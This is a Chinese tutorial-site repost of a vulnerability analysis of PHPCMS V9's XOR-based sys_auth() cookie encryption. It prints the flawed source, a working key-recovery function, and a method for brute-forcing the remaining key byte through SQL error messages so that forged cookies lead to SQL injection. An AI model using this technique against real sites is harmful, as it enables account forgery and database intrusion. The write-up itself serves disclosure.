IT教程 | 加入收藏 | 简体 | 繁体
PhpCMS:科汛CMSPhpCMS织梦CMSShopCMS论坛CMSJavaCMS
当前位置: 首页 > CMS教程 > PhpCMS

SQL注入漏洞及修复_PHPCMS V9 sys_auth()函数

2012-02-24来源:[www.121ask.com]热度:0℃ 【字体:

一 描叙:
  phpcms 使用sys_auth函数加解密cookie信息,系统中多个文件直接从cookie中获取变量进入程序流程。
  由于sys_auth函数在设计和使用过程中存在缺陷,导致注册用户可以伪造cookie数据,触发SQL注入等多个二次攻击。
  二 分析 :
  看sys_auth函数代码
  [code]
  //libs/functions/global.func.php
  function sys_auth($txt, $operation = ''ENCODE'', $key = '''') {
  $key    = $key ? $key : pc_base::load_config(''system'', ''auth_key'');
  $txt    = $operation == ''ENCODE'' ? (string)$txt : base64_decode($txt);
  $len    = strlen($key);
  $code    = '''';
  for($i=0; $i<strlen($txt); $i++){
  $k        = $i % $len;
  $code  .= $txt[$i] ^ $key[$k];
  }
  $code = $operation == ''DECODE'' ? $code : base64_encode($code);
  return $code;
  }
  [/code]
  通过于$auth_key进行^运算达到加密的目的,$auth_key是系统安装时随机生成的一个长度为20的字符串。
  要伪造cookie变量需要知道$auth_key,我们看看如何来获取。
  注册用户登录过程
  //phpcms/modules/member/index.php
  public function login() {
  ……
  param::set_cookie(''auth'', $phpcms_auth, $cookietime);
  param::set_cookie(''_userid'', $userid, $cookietime);
  param::set_cookie(''_username'', $username, $cookietime);
  param::set_cookie(''_groupid'', $groupid, $cookietime);
  param::set_cookie(''_nickname'', $nickname, $cookietime);
  param::set_cookie(''cookietime'', $_cookietime, $cookietime);
  ……
  //phpcms/libs/classes/param.class.php
  public static function set_cookie($var, $value = '''', $time = 0) {
  $time = $time > 0 ? $time : ($value == '''' ? SYS_TIME - 3600 : 0);
  $s = $_SERVER[''SERVER_PORT''] == ''443'' ? 1 : 0;
  $var = pc_base::load_config(''system'',''cookie_pre'').$var;
  $_COOKIE[$var] = $value;
  if (is_array($value)) {
  foreach($value as $k=>$v) {
  setcookie($var.''[''.$k.'']'', sys_auth($v, ''ENCODE''), $time, pc_base::load_config(''system'',''cookie_path''), pc_base::load_config(''system'',''cookie_domain''), $s);
  }
  } else {
  setcookie($var, sys_auth($value, ''ENCODE''), $time, pc_base::load_config(''system'',''cookie_path''), pc_base::load_config(''system'',''cookie_domain''), $s);
  }
  }
  明显可以看出,登陆的时候 $username通过sys_auth函数处理后赋值到了cookie。
  好了,下面去注册一个用户名长度为19字符的(最长为20,但是需要有一个\0,所以实际上只能是19)用户。
  登陆系统后获取cookie里面对应的值,就可以逆向推算出$auth_key的前19位。
  逆推函数如下
  function antisys_auth() {
  $txt = base64_decode(urldecode("你cookie里面的值"));
  $name = "你的用户名";
  $len    = 20;
  $key    = '''';
  for($i=0; $i<strlen($txt); $i++){
  $k        = $i % $len;
  $key  .= $txt[$i] ^ $name[$k];
  }
  return $key;
  }
  $auth_key剩下的最后一位如何获取? 这个就很简单了,找到任意一个使用get_cookie()获取变量然后进入sql流程的地方,
  利用phpcms的sql错误机制,可以很容易的判断暴力破解出最后一位。
  public function halt($message = '''', $sql = '''') {
  $this->errormsg = "<b>MySQL Query : </b> $sql <br /><b> MySQL Error : </b>".$this->error()." <br /> <b>MySQL Errno : </b>".$this->errno()." <br /><b> Message : </b> $message <br /><a href=''http://faq.phpcms.cn/?errno=".$this->errno()."&msg=".urlencode($this->error())."'' target=''_blank'' style=''color:red''>Need Help?</a>";
  $msg = $this->errormsg;
  echo ''<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span>''.$msg.''</span></div>'';
  exit;
  }
  修复:已经上报官方,请等待补丁(现在应该修正了)

以上IT文章《SQL注入漏洞及修复_PHPCMS V9 sys_auth()函数》由名客技术网[www.121ask.com]提供阅读!
推广信息
推广信息
名客技术网是一个免费为广大IT技术人员提供IT教程,绿色软件,asp/php/jsp/java/net等实例视频教程,CMS教程,破解软件下载以及学习相关源码、知识的IT网站。
名客技术网如果无意之中侵犯了您的版权,请来电告知,本站将在3个工作日内删除 QQ:175352796
Copyright 2011-2017 Powered by 121ASK.COM, All Rights Reserved.
备案号:鄂ICP备11013833号-3